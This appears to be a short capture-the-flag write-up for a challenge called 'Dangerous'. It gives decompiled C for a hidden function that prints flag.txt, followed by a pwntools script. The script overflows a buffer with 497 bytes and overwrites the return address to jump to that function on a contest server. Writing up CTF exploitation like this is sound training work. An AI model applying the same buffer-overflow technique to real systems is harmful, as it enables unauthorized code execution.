Dangerous
void FUN_0040130e(void)
{
char local_218 [524];
int local_c;
local_c = open("./flag.txt",0);
read(local_c,local_218,0x200);
close(local_c);
puts(local_218);
return;
}from pwn import *
p = remote('jh2i.com', 50011)
p.clean(0.2)
payload = b'A' * 497
payload += p64(0x40130e)
p.sendline(payload)
print(p.clean(1))Last updated
Was this helpful?